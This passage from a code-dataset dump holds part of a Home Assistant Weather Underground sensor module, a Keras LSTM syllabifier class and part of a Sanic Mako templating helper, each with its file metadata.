\"mdi:weather-windy\",\n ),\n \"wind_gust_4d_mph\": WUDailySimpleForecastSensorConfig(\n \"Max. Wind in 4 Days\",\n 3,\n \"maxwind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_1d_kph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind Today\",\n 0,\n \"avewind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_2d_kph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind Tomorrow\",\n 1,\n \"avewind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_3d_kph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind in 3 Days\",\n 2,\n \"avewind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_4d_kph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind in 4 Days\",\n 3,\n \"avewind\",\n SPEED_KILOMETERS_PER_HOUR,\n SPEED_KILOMETERS_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_1d_mph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind Today\",\n 0,\n \"avewind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_2d_mph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind Tomorrow\",\n 1,\n \"avewind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_3d_mph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind in 3 Days\",\n 2,\n \"avewind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"wind_4d_mph\": WUDailySimpleForecastSensorConfig(\n \"Avg. Wind in 4 Days\",\n 3,\n \"avewind\",\n SPEED_MILES_PER_HOUR,\n SPEED_MILES_PER_HOUR,\n \"mdi:weather-windy\",\n ),\n \"precip_1d_mm\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity Today\", 0, \"qpf_allday\", \"mm\", \"mm\", \"mdi:umbrella\"\n ),\n \"precip_2d_mm\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity Tomorrow\", 1, \"qpf_allday\", \"mm\", \"mm\", \"mdi:umbrella\"\n ),\n \"precip_3d_mm\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity in 3 Days\", 2, \"qpf_allday\", \"mm\", \"mm\", \"mdi:umbrella\"\n ),\n \"precip_4d_mm\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity in 4 Days\", 3, \"qpf_allday\", \"mm\", \"mm\", \"mdi:umbrella\"\n ),\n \"precip_1d_in\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity Today\",\n 0,\n \"qpf_allday\",\n \"in\",\n LENGTH_INCHES,\n \"mdi:umbrella\",\n ),\n \"precip_2d_in\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity Tomorrow\",\n 1,\n \"qpf_allday\",\n \"in\",\n LENGTH_INCHES,\n \"mdi:umbrella\",\n ),\n \"precip_3d_in\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity in 3 Days\",\n 2,\n \"qpf_allday\",\n \"in\",\n LENGTH_INCHES,\n \"mdi:umbrella\",\n ),\n \"precip_4d_in\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Intensity in 4 Days\",\n 3,\n \"qpf_allday\",\n \"in\",\n LENGTH_INCHES,\n \"mdi:umbrella\",\n ),\n \"precip_1d\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Probability Today\",\n 0,\n \"pop\",\n None,\n PERCENTAGE,\n \"mdi:umbrella\",\n ),\n \"precip_2d\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Probability Tomorrow\",\n 1,\n \"pop\",\n None,\n PERCENTAGE,\n \"mdi:umbrella\",\n ),\n \"precip_3d\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Probability in 3 Days\",\n 2,\n \"pop\",\n None,\n PERCENTAGE,\n \"mdi:umbrella\",\n ),\n \"precip_4d\": WUDailySimpleForecastSensorConfig(\n \"Precipitation Probability in 4 Days\",\n 3,\n \"pop\",\n None,\n PERCENTAGE,\n \"mdi:umbrella\",\n ),\n}\n\n# Alert Attributes\nALERTS_ATTRS = [\"date\", \"description\", \"expires\", \"message\"]\n\n# Language Supported Codes\nLANG_CODES = [\n \"AF\",\n \"AL\",\n \"AR\",\n \"HY\",\n \"AZ\",\n \"EU\",\n \"BY\",\n \"BU\",\n \"LI\",\n \"MY\",\n \"CA\",\n \"CN\",\n \"TW\",\n \"CR\",\n \"CZ\",\n \"DK\",\n \"DV\",\n \"NL\",\n \"EN\",\n \"EO\",\n \"ET\",\n \"FA\",\n \"FI\",\n \"FR\",\n \"FC\",\n \"GZ\",\n \"DL\",\n \"KA\",\n \"GR\",\n \"GU\",\n \"HT\",\n \"IL\",\n \"HI\",\n \"HU\",\n \"IS\",\n \"IO\",\n \"ID\",\n \"IR\",\n \"IT\",\n \"JP\",\n \"JW\",\n \"KM\",\n \"KR\",\n \"KU\",\n \"LA\",\n \"LV\",\n \"LT\",\n \"ND\",\n \"MK\",\n \"MT\",\n \"GM\",\n \"MI\",\n \"MR\",\n \"MN\",\n \"NO\",\n \"OC\",\n \"PS\",\n \"GN\",\n \"PL\",\n \"BR\",\n \"PA\",\n \"RO\",\n \"RU\",\n \"SR\",\n \"SK\",\n \"SL\",\n \"SP\",\n \"SI\",\n \"SW\",\n \"CH\",\n \"TL\",\n \"TT\",\n \"TH\",\n \"TR\",\n \"TK\",\n \"UA\",\n \"UZ\",\n \"VU\",\n \"CY\",\n \"SN\",\n \"JI\",\n \"YI\",\n]\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Required(CONF_API_KEY): cv.string,\n vol.Optional(CONF_PWS_ID): cv.string,\n vol.Optional(CONF_LANG, default=DEFAULT_LANG): vol.All(vol.In(LANG_CODES)),\n vol.Inclusive(\n CONF_LATITUDE, \"coordinates\", \"Latitude and longitude must exist together\"\n ): cv.latitude,\n vol.Inclusive(\n CONF_LONGITUDE, \"coordinates\", \"Latitude and longitude must exist together\"\n ): cv.longitude,\n vol.Required(CONF_MONITORED_CONDITIONS): vol.All(\n cv.ensure_list, vol.Length(min=1), [vol.In(SENSOR_TYPES)]\n ),\n }\n)\n\n\nasync def async_setup_platform(\n hass: HomeAssistantType, config: ConfigType, async_add_entities, discovery_info=None\n):\n \"\"\"Set up the WUnderground sensor.\"\"\"\n latitude = config.get(CONF_LATITUDE, hass.config.latitude)\n longitude = config.get(CONF_LONGITUDE, hass.config.longitude)\n pws_id = config.get(CONF_PWS_ID)\n\n rest = WUndergroundData(\n hass,\n config.get(CONF_API_KEY),\n pws_id,\n config.get(CONF_LANG),\n latitude,\n longitude,\n )\n\n if pws_id is None:\n unique_id_base = f\"@{longitude:06f},{latitude:06f}\"\n else:\n # Manually specified weather station, use that for unique_id\n unique_id_base = pws_id\n sensors = []\n for variable in config[CONF_MONITORED_CONDITIONS]:\n sensors.append(WUndergroundSensor(hass, rest, variable, unique_id_base))\n\n await rest.async_update()\n if not rest.data:\n raise PlatformNotReady\n\n async_add_entities(sensors, True)\n\n\nclass WUndergroundSensor(Entity):\n \"\"\"Implementing the WUnderground sensor.\"\"\"\n\n def __init__(self, hass: HomeAssistantType, rest, condition, unique_id_base: str):\n \"\"\"Initialize the sensor.\"\"\"\n self.rest = rest\n self._condition = condition\n self._state = None\n self._attributes = {ATTR_ATTRIBUTION: ATTRIBUTION}\n self._icon = None\n self._entity_picture = None\n self._unit_of_measurement = self._cfg_expand(\"unit_of_measurement\")\n self.rest.request_feature(SENSOR_TYPES[condition].feature)\n # This is only the suggested entity id, it might get changed by\n # the entity registry later.\n self.entity_id = sensor.ENTITY_ID_FORMAT.format(f\"pws_{condition}\")\n self._unique_id = f\"{unique_id_base},{condition}\"\n self._device_class = self._cfg_expand(\"device_class\")\n\n def _cfg_expand(self, what, default=None):\n \"\"\"Parse and return sensor data.\"\"\"\n cfg = SENSOR_TYPES[self._condition]\n val = getattr(cfg, what)\n if not callable(val):\n return val\n try:\n val = val(self.rest)\n except (KeyError, IndexError, TypeError, ValueError) as err:\n _LOGGER.warning(\n \"Failed to expand cfg from WU API. Condition: %s Attr: %s Error: %s\",\n self._condition,\n what,\n repr(err),\n )\n val = default\n\n return val\n\n def _update_attrs(self):\n \"\"\"Parse and update device state attributes.\"\"\"\n attrs = self._cfg_expand(\"device_state_attributes\", {})\n\n for (attr, callback) in attrs.items():\n if callable(callback):\n try:\n self._attributes[attr] = callback(self.rest)\n except (KeyError, IndexError, TypeError, ValueError) as err:\n _LOGGER.warning(\n \"Failed to update attrs from WU API.\"\n \" Condition: %s Attr: %s Error: %s\",\n self._condition,\n attr,\n repr(err),\n )\n else:\n self._attributes[attr] = callback\n\n @property\n def name(self):\n \"\"\"Return the name of the sensor.\"\"\"\n return self._cfg_expand(\"friendly_name\")\n\n @property\n def state(self):\n \"\"\"Return the state of the sensor.\"\"\"\n return self._state\n\n @property\n def device_state_attributes(self):\n \"\"\"Return the state attributes.\"\"\"\n return self._attributes\n\n @property\n def icon(self):\n \"\"\"Return icon.\"\"\"\n return self._icon\n\n @property\n def entity_picture(self):\n \"\"\"Return the entity picture.\"\"\"\n return self._entity_picture\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return the units of measurement.\"\"\"\n return self._unit_of_measurement\n\n @property\n def device_class(self):\n \"\"\"Return the units of measurement.\"\"\"\n return self._device_class\n\n async def async_update(self):\n \"\"\"Update current conditions.\"\"\"\n await self.rest.async_update()\n\n if not self.rest.data:\n # no data, return\n return\n\n self._state = self._cfg_expand(\"value\")\n self._update_attrs()\n self._icon = self._cfg_expand(\"icon\", super().icon)\n url = self._cfg_expand(\"entity_picture\")\n if isinstance(url, str):\n self._entity_picture = re.sub(\n r\"^http://\", \"https://\", url, flags=re.IGNORECASE\n )\n\n @property\n def unique_id(self) -> str:\n \"\"\"Return a unique ID.\"\"\"\n return self._unique_id\n\n\nclass WUndergroundData:\n \"\"\"Get data from WUnderground.\"\"\"\n\n def __init__(self, hass, api_key, pws_id, lang, latitude, longitude):\n \"\"\"Initialize the data object.\"\"\"\n self._hass = hass\n self._api_key = api_key\n self._pws_id = pws_id\n self._lang = f\"lang:{lang}\"\n self._latitude = latitude\n self._longitude = longitude\n self._features = set()\n self.data = None\n self._session = async_get_clientsession(self._hass)\n\n def request_feature(self, feature):\n \"\"\"Register feature to be fetched from WU API.\"\"\"\n self._features.add(feature)\n\n def _build_url(self, baseurl=_RESOURCE):\n url = baseurl.format(\n self._api_key, \"/\".join(sorted(self._features)), self._lang\n )\n if self._pws_id:\n url = f\"{url}pws:{self._pws_id}\"\n else:\n url = f\"{url}{self._latitude},{self._longitude}\"\n\n return f\"{url}.json\"\n\n @Throttle(MIN_TIME_BETWEEN_UPDATES)\n async def async_update(self):\n \"\"\"Get the latest data from WUnderground.\"\"\"\n try:\n with async_timeout.timeout(10):\n response = await self._session.get(self._build_url())\n result = await response.json()\n if \"error\" in result[\"response\"]:\n raise ValueError(result[\"response\"][\"error\"][\"description\"])\n self.data = result\n except ValueError as err:\n _LOGGER.error(\"Check WUnderground API %s\", err.args)\n except (asyncio.TimeoutError, aiohttp.ClientError) as err:\n _LOGGER.error(\"Error fetching WUnderground data: %s\", repr(err))\n","sub_path":"homeassistant/components/wunderground/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":40204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236961015","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport pickle\nimport shutil\n\nimport numpy as np\n\nfrom sklearn.cross_validation import train_test_split\n\nfrom keras.models import model_from_json\nfrom keras.models import Model\nfrom keras.utils import np_utils\nfrom keras.layers import *\n\nimport utils\n\n\nclass Syllabifier:\n\n def __init__(self, max_input_len = None, nb_epochs = 30,\n nb_layers = 3, nb_dims = 50, load = False,\n batch_size = 50, model_dir = 'model_s'):\n self.max_input_len = max_input_len\n self.nb_epochs = nb_epochs\n self.nb_layers = nb_layers\n self.nb_dims = nb_dims\n self.batch_size = batch_size\n self.model_dir = model_dir\n\n if self.model_dir and not load:\n # make sure we have a clean model dir:\n if os.path.isdir(self.model_dir):\n shutil.rmtree(self.model_dir)\n os.mkdir(self.model_dir)\n\n elif self.model_dir and load:\n self.model = model_from_json(\\\n open(os.sep.join([self.model_dir, 'model_architecture.json'])).read())\n self.model.load_weights(os.sep.join([self.model_dir, 'weights.h5']))\n self.model.compile(optimizer='RMSprop',\n loss={'out': 'categorical_crossentropy'},\n metrics=['accuracy'])\n self.char_lookup = pickle.load(\\\n open(os.sep.join([self.model_dir, 'char_lookup.p']), 'rb'))\n self.max_input_len = pickle.load(\\\n open(os.sep.join([self.model_dir, 'max_input_len.p']), 'rb'))\n self.filler = np.zeros(len(self.char_lookup.keys()))\n\n def save(self):\n \"\"\"\n * Pickle all necessary objects to `model_dir`\n for later re-use.\n * Note: this won't save the weights,\n which are stored by the `fit() function!\n \"\"\"\n open(os.sep.join([self.model_dir, 'model_architecture.json']), 'w')\\\n .write(self.model.to_json())\n self.model.save_weights(\\\n os.sep.join([self.model_dir, 'weights.h5']), overwrite=True)\n pickle.dump(self.char_lookup, \\\n open(os.sep.join([self.model_dir, 'char_lookup.p']), 'wb'))\n pickle.dump(self.max_input_len, \\\n open(os.sep.join([self.model_dir, 'max_input_len.p']), 'wb'))\n pickle.dump(self.char_lookup, \\\n open(os.sep.join([self.model_dir, 'char_lookup.p']), 'wb'))\n\n\n def fit_transform_train_data(self, data = None, inp = None,\n max_input_len=None, max_nb = None):\n \"\"\"\n * Vectorizes the training data passed, needs either:\n - `data`: a list of strings (['serv-vaes', 'ick', ..., 'ue-le'])\n - `inp`: path to a file with one item per line\n - for dev purposes, a `max_nb` (int) can be specified,\n so that only the first `max_nb` of words are loaded.\n * `max_input_len` determines the maximum length of\n input strings, i.e. the spatial dimensionality\n of the LSTM layers. If this is not explicitly set,\n it will use the length of the longest input string.\n * Vectorization conventions:\n - each word gets a special character prepended at\n the beginning (`%`) and end (`@`).\n - words get padded to length `max_input_len` re-using\n an all-zero filler (represented as `PAD`).\n * Class labels:\n - `0`: plain characters inside word\n - `1`: syllable-initial character\n - `2`: dummy filler\n \"\"\"\n\n if inp:\n data = utils.load_data(inp, max_nb = max_nb)\n\n tokens, segmentations = [], []\n for token in data:\n chars, labels = [], []\n for idx, char in enumerate(token):\n if char != '-':\n chars.append(char)\n else:\n continue\n if idx == 0:\n labels.append(0)\n else:\n if token[idx - 1] == '-':\n labels.append(1) # beginning of syllable\n else:\n labels.append(0)\n tokens.append(chars)\n segmentations.append(labels)\n \n # determine max len:\n if not self.max_input_len:\n self.max_input_len = len(max(tokens, key=len))\n print('Longest input token:', self.max_input_len)\n\n # we determine the vocabulary:\n self.char_vocab = tuple(sorted(set([item for sublist in tokens for item in sublist])))\n\n # we add symbols for begin, end and padding:\n self.char_vocab += tuple(('%', '@'))\n print('Character vocabulary:', ' '.join(self.char_vocab))\n\n # assign one-hot vector to each char for\n # fast vectorization:\n self.filler = np.zeros(len(self.char_vocab)) \n self.char_lookup = {} \n for idx, char in enumerate(self.char_vocab):\n char_vector = self.filler.copy()\n char_vector[idx] = 1.0\n self.char_lookup[char] = char_vector\n\n # uniformize len of of the outputs:\n outputs = []\n for segm in segmentations:\n segm = [2] + segm + [2]\n while len(segm) < (self.max_input_len + 2):\n segm.append(2)\n outputs.append(np_utils.to_categorical(segm, num_classes=3))\n self.Y_train = np.array(outputs, dtype='int8')\n print('output shape:', self.Y_train.shape)\n\n X = []\n for token in tokens:\n token = ['%'] + token + ['@'] # add beginning\n while len(token) < (self.max_input_len + 2):\n token.append('PAD')\n x = []\n for char in token:\n try:\n x.append(self.char_lookup[char])\n except KeyError:\n x.append(self.filler)\n X.append(x)\n\n self.X_train = np.array(X, dtype='float32')\n print('Shape of the vectorized input:', self.X_train.shape)\n\n self.train_tokens = tokens\n\n def create_splits(self, test_prop=.1, dev_prop=.1):\n \"\"\"\n Takes the train data and creates train-dev-test splits:\n * if a `test_prop` (float) is passed, a test set\n will be created and saved (for later comparisons).\n * if a `dev_prop` (float) is passed, a dev set will\n be created on the basis of the training material \n which remains after creating the test set.\n \"\"\"\n if test_prop:\n self.X_train, self.X_test, self.Y_train, self.Y_test, \\\n self.train_tokens, self.test_tokens = \\\n train_test_split(self.X_train, self.Y_train,\\\n self.train_tokens, test_size=dev_prop, random_state=42982)\n\n # save test data for comparison to Bouma et al:\n gt = utils.pred_to_classes(self.Y_test)\n with open('../data/test_gold.txt', 'w') as f:\n for i in [utils.stringify(o, p) for o, p in \\\n zip(self.test_tokens, gt)]:\n f.write(i+'\\n')\n with open('../data/test_input.txt', 'w') as f:\n for i in self.test_tokens:\n f.write(''.join(i)+'\\n')\n\n if dev_prop:\n self.X_train, self.X_dev, self.Y_train, self.Y_dev,\\\n self.train_tokens, self.dev_tokens = \\\n train_test_split(self.X_train, self.Y_train,\\\n self.train_tokens, test_size=dev_prop, random_state=4767)\n\n\n def build_model(self):\n \"\"\"\n * Defines a stacked, bidirectrional LSTM model,\n which learns to map `max_input_len` + 2 characters\n to `max_input_len` + 2 labels.\n * Model parameters should be set in the general constructor, mainly:\n - `nb_epochs` (int) = maximum # epochs to train the model\n - `nb_layers` (int) = # number of stacked LSTM\n - `nb_dims` (int) = dimensionality of the LSTMs\n - `batch_size` = size of the minibatches used\n\n The model uses the RMSprop mechanism for gradient updates.\n \"\"\"\n char_input = Input(shape=(self.max_input_len + 2, len(self.char_vocab)),\n name='char_input')\n\n for i in range(self.nb_layers):\n\n if i == 0:\n curr_input = char_input\n else:\n curr_input = curr_enc_out\n\n l2r = LSTM(output_dim=self.nb_dims,\n return_sequences=True,\n activation='tanh',\n name='left_enc_lstm_'+str(i + 1))(curr_input)\n r2l = LSTM(output_dim=self.nb_dims,\n return_sequences=True,\n activation='tanh',\n go_backwards=True,\n name='right_enc_lstm_'+str(i + 1))(curr_input)\n curr_enc_out = merge([l2r, r2l], name='encoder_'+str(i+1), mode='sum')\n\n dense = TimeDistributed(Dense(3), name='dense')(curr_enc_out)\n segm_out = Activation('softmax', name='out')(dense)\n\n self.model = Model(input=char_input, output=segm_out)\n print('Compiling model...')\n self.model.compile(optimizer='RMSprop',\n loss={'out': 'categorical_crossentropy'},\n metrics=['accuracy'])\n print('Model compiled!')\n\n def fit(self):\n \"\"\"\n * Fits the model during x `nb_epochs`.\n * If dev data is available, dev scores will be\n calculated after each epoch.\n * If test data is available, test scores are\n calculated after the fitting process.\n * Only the model weights which reach the highest\n hyphenation accuracy are eventually stored.\n \"\"\"\n if not hasattr(self, 'model'):\n self.build_model()\n\n train_inputs = {'char_input': self.X_train}\n train_outputs = {'out': self.Y_train}\n\n if hasattr(self, 'X_dev'):\n dev_inputs = {'char_input': self.X_dev}\n\n best_acc = [0.0, 0]\n\n for e in range(self.nb_epochs):\n print('-> epoch', e + 1)\n self.model.fit(train_inputs, train_outputs,\n nb_epoch = 1,\n shuffle = True,\n batch_size = self.batch_size,\n verbose=1)\n\n preds = self.model.predict(train_inputs,\n batch_size = self.batch_size,\n verbose=0)\n\n token_acc, hyphen_acc = utils.metrics(utils.pred_to_classes(self.Y_train),\n utils.pred_to_classes(preds))\n print('\\t- train scores:')\n print('\\t\\t + token acc:', round(token_acc, 2))\n print('\\t\\t + hyphen acc:', round(hyphen_acc, 2))\n\n if hasattr(self, 'X_dev'):\n preds = self.model.predict(dev_inputs,\n batch_size = self.batch_size,\n verbose=0)\n\n token_acc, hyphen_acc = utils.metrics(utils.pred_to_classes(self.Y_dev),\n utils.pred_to_classes(preds))\n\n print('\\t- dev scores:')\n print('\\t\\t + token acc:', round(token_acc, 2))\n print('\\t\\t + hyphen acc:', round(hyphen_acc, 2))\n\n if hyphen_acc > best_acc[0]:\n print('\\t-> saving weights')\n self.model.save_weights(\\\n os.sep.join([self.model_dir, 'weights.h5']), overwrite=True)\n best_acc = [hyphen_acc, e]\n\n # make sure we have the best weights:\n print('-> Optimal dev hyphenation accuracy:', round(best_acc[0],2),\n 'at epoch #', best_acc[1])\n self.model.load_weights(os.sep.join([self.model_dir, 'weights.h5']))\n\n if hasattr(self, 'X_test'):\n test_inputs = {'char_input': self.X_test}\n\n preds = self.model.predict(test_inputs,\n batch_size = self.batch_size,\n verbose=0)\n token_acc, hyphen_acc = utils.metrics(utils.pred_to_classes(self.Y_test),\n utils.pred_to_classes(preds))\n print('\\t- test scores:')\n print('\\t\\t + token acc:', round(token_acc, 2))\n print('\\t\\t + hyphen acc:', round(hyphen_acc, 2))\n\n def syllabify(self, data = None, inp = None, outp = None):\n \"\"\"\n * Eats new, unsyllabified words either as a list (`data`)\n or from a file (`inp`)\n * Returns the syllabified words in string format\n (e.g. ser-uaes) and saves these to a file if `outp`\n is specified.\n \"\"\"\n if inp:\n data = utils.load_data(inp)\n\n X = []\n for token in data:\n token = list(token)[:self.max_input_len]\n token = ['%'] + token + ['@'] # add beginning\n while len(token) < (self.max_input_len + 2):\n token.append('PAD')\n x = []\n for char in token:\n try:\n x.append(self.char_lookup[char])\n except KeyError:\n x.append(self.filler)\n X.append(x)\n\n new_X = np.array(X, dtype='float32')\n\n new_inputs = {'char_input': new_X}\n\n preds = self.model.predict(new_inputs,\n batch_size = self.batch_size,\n verbose=0)\n preds = utils.pred_to_classes(preds)\n\n syllabified = list([utils.stringify(o, p) for o, p in zip(data, preds)])\n if outp:\n with open(outp, 'w') as f:\n for s in syllabified:\n f.write(s + '\\n')\n else:\n return syllabified\n\n def vectorize(self, data):\n \"\"\"\n * Will vectorize a list of syllabified words (`data`)\n * Returns np.arrays:\n - `X` the token representation of shape\n (nb_words, max_token_len + 2, nb_dims)\n - `Y` the label representation of shape\n (nb_words, max_token_len + 2, 3)\n \"\"\"\n tokens, segmentations = [], []\n for token in data:\n chars, labels = [], []\n for idx, char in enumerate(token):\n if char != '-':\n chars.append(char)\n else:\n continue\n if idx == 0:\n labels.append(0)\n else:\n if token[idx - 1] == '-':\n labels.append(1) # beginning of syllable\n else:\n labels.append(0)\n tokens.append(chars)\n segmentations.append(labels)\n\n # uniformize len of the outputs:\n outputs = []\n for segm in segmentations:\n segm = [2] + segm + [2]\n while len(segm) < (self.max_input_len + 2):\n segm.append(2)\n outputs.append(np_utils.to_categorical(segm, num_classes=3))\n Y = np.array(outputs, dtype='int8')\n print('output shape:', Y.shape) \n\n X = []\n for token in tokens:\n token = ['%'] + token + ['@'] # add beginning\n while len(token) < (self.max_input_len + 2):\n token.append('PAD')\n x = []\n for char in token:\n try:\n x.append(self.char_lookup[char])\n except KeyError:\n x.append(self.filler)\n X.append(x)\n\n X = np.array(X, dtype='float32')\n print('input shape:', X.shape)\n\n return X, Y\n\n def evaluate(self, goldp = None, silverp = None,\n gold_data = None, silver_data = None,\n print_score = True):\n \"\"\"\n * Compares two syllabified lists in string format\n (e.g. ser-uaes):\n gold = ground truth\n silver = as predicted by system\n * Both lists can be passed as lists (`gold_data`,\n `silver_data`) or can be loaded from files \n (`goldp`, `silverp`).\n * Will return the token-level accuracy and hyphenation\n accuracy of the silver predictions (will print these\n if `print_score` is True).\n\n \"\"\"\n if goldp:\n gold_data = utils.load_data(goldp)\n if silverp:\n silver_data = utils.load_data(silverp)\n\n _, gold_Y = self.vectorize(gold_data)\n _, silver_Y = self.vectorize(silver_data)\n\n token_acc, hyphen_acc = utils.metrics(utils.pred_to_classes(gold_Y),\n utils.pred_to_classes(silver_Y))\n\n if print_score:\n print('\\t- evaluation scores:')\n print('\\t\\t + token acc:', round(token_acc, 2))\n print('\\t\\t + hyphen acc:', round(hyphen_acc, 2))\n\n return token_acc, hyphen_acc\n\n\n","sub_path":"src/Syllabify.py","file_name":"Syllabify.py","file_ext":"py","file_size_in_byte":17030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"414731714","text":"import os\nimport asyncio\nimport functools\nimport sys\nimport pkgutil\nfrom collections import Mapping\n\nfrom werkzeug.debug.tbtools import Traceback, Frame, Line\nfrom sanic.response import HTTPResponse\nfrom mako.lookup import TemplateLookup\nfrom sanic.exceptions import ServerError\nfrom mako.exceptions import (\n RichTraceback, TemplateLookupException, text_error_template)\n\n__version__ = '0.3.0'\n\n__all__ = ('get_lookup', 'render_template', 'render_template_def',\n 'render_string')\n\n\nAPP_KEY = 'sanic_mako_lookup'\nAPP_CONTEXT_PROCESSORS_KEY = 'sanic_mako_context_processors'\nREQUEST_CONTEXT_KEY = 'sanic_mako_context'\n\n\ndef get_root_path(import_name):\n mod = sys.modules.get(import_name)\n if mod is not None and hasattr(mod, '__file__'):\n return os.path.dirname(os.path.abspath(mod.__file__))\n\n loader = pkgutil.get_loader(import_name)\n if loader is None or import_name == '__main__':\n return os.getcwd()\n\n __import__(import_name)\n mod = sys.modules[import_name]\n filepath = getattr(mod, '__file__', None)\n\n if filepath is None:\n raise RuntimeError('No root path can be found for the provided '\n 'module \"{import_name}\". This can happen because the '\n 'module came from an import hook that does '\n 'not provide file name information or because '\n 'it\\'s a namespace package. In this case '\n 'the root path needs to be explicitly provided.')\n\n return os.path.dirname(os.path.abspath(filepath))\n\n\nclass MakoFrame(Frame):\n \"\"\" A special `~werkzeug.debug.tbtools.Frame` object for Mako sources. \"\"\"\n def __init__(self, exc_type, exc_value, tb, name, line):\n super(MakoFrame, self).__init__(exc_type, exc_value, tb)\n self.info = \"(translated Mako exception)\"\n self.filename = name\n self.lineno = line\n old_locals = self.locals\n self.locals = dict(tb.tb_frame.f_locals['context'].kwargs)\n self.locals['__mako_module_locals__'] = old_locals\n\n def get_annotated_lines(self):\n lines = [Line(idx + 1, x) for idx, x in enumerate(self.sourcelines)]\n\n try:\n lines[self.lineno - 1].current = True\n except IndexError:\n pass\n\n return lines\n\n\nclass TemplateError(RichTraceback, RuntimeError):\n \"\"\" A template has thrown an error during rendering. \"\"\"\n\n def werkzeug_debug_traceback(self, exc_type, exc_value, tb):\n \"\"\" Munge the default Werkzeug traceback to include Mako info. \"\"\"\n\n orig_type, orig_value, orig_tb = self.einfo\n translated = Traceback(orig_type, orig_value, tb)\n\n # Drop the \"raise\" frame from the traceback.\n translated.frames.pop()\n\n def orig_frames():\n cur = orig_tb\n while cur:\n yield cur\n cur = cur.tb_next\n\n # Append our original frames, overwriting previous source information\n # with the translated Mako line locators.\n for tb, record in zip(orig_frames(), self.records):\n name, line = record[4:6]\n if name:\n new_frame = MakoFrame(orig_type, orig_value, tb, name, line)\n else:\n new_frame = Frame(orig_type, orig_value, tb)\n\n translated.frames.append(new_frame)\n\n return translated\n\n def __init__(self, template):\n super(TemplateError, self).__init__()\n self.einfo = sys.exc_info()\n self.text = text_error_template().render()\n if hasattr(template, 'uri'):\n msg = \"Error occurred while rendering template '{0}'\"\n msg = msg.format(template.uri)\n else:\n msg = template.args[0]\n super(TemplateError, self).__init__(msg)\n\n\nclass SanicMako:\n def __init__(self, app=None, pkg_path=None, context_processors=(),\n app_key=APP_KEY):\n self.app = app\n\n if app:\n self.init_app(app, pkg_path, context_processors)\n\n def init_app(self, app, pkg_path=None, context_processors=(),\n app_key=APP_KEY):\n\n if pkg_path is not None and os.path.isdir(pkg_path):\n paths = [pkg_path]\n else:\n paths = [os.path.join(get_root_path(app.name), 'templates')]\n\n self.context_processors = context_processors\n\n if context_processors:\n app[APP_CONTEXT_PROCESSORS_KEY] = context_processors\n app.middlewares.append(context_processors_middleware)\n\n kw = {\n 'input_encoding': app.config.get('MAKO_INPUT_ENCODING', 'utf-8'),\n 'module_directory': app.config.get('MAKO_MODULE_DIRECTORY', None),\n 'collection_size': app.config.get('MAKO_COLLECTION_SIZE', -1),\n 'imports': app.config.get('MAKO_IMPORTS', []),\n 'filesystem_checks': app.config.get('MAKO_FILESYSTEM_CHECKS', True),\n 'default_filters': app.config.get('MAKO_DEFAULT_FILTERS', ['str', 'h']), # noqa\n 'preprocessor': app.config.get('MAKO_PREPROCESSOR', None),\n 'strict_undefined': app.config.get('MAKO_STRICT_UNDEFINED', False),\n }\n\n setattr(app, app_key, TemplateLookup(directories=paths, **kw))\n\n return getattr(app, app_key)\n\n @staticmethod\n def template(template_name, app_key=APP_KEY, status=200):\n def wrapper(func):\n @functools.wraps(func)\n async def wrapped(*args, **kwargs):\n if asyncio.iscoroutinefunction(func):\n coro = func\n else:\n coro = asyncio.coroutine(func)\n context = await coro(*args, **kwargs)\n request = args[-1]\n response = render_template(template_name, request, context,\n app_key=app_key)\n response.status = status\n return response\n return wrapped\n return wrapper\n\n\ndef get_lookup(app, app_key=APP_KEY):\n return getattr(app, app_key)\n\n\ndef render_string(template_name, request, context, *, app_key):\n lookup = get_lookup(request.app, app_key)\n\n if lookup is None:\n raise TemplateError(ServerError(\n f\"Template engine is not initialized, \"\n \"call sanic_mako.init_app first\", status_code=500))\n try:\n template = lookup.get_template(template_name)\n except TemplateLookupException as e:\n raise TemplateError(ServerError(f\"Template '{template_name}' not found\",\n status_code=500)) from e\n if not isinstance(context, Mapping):\n raise TemplateError(ServerError(\n \"context should be mapping, not {type(context)}\", status_code=500))\n if request.get(REQUEST_CONTEXT_KEY):\n context = 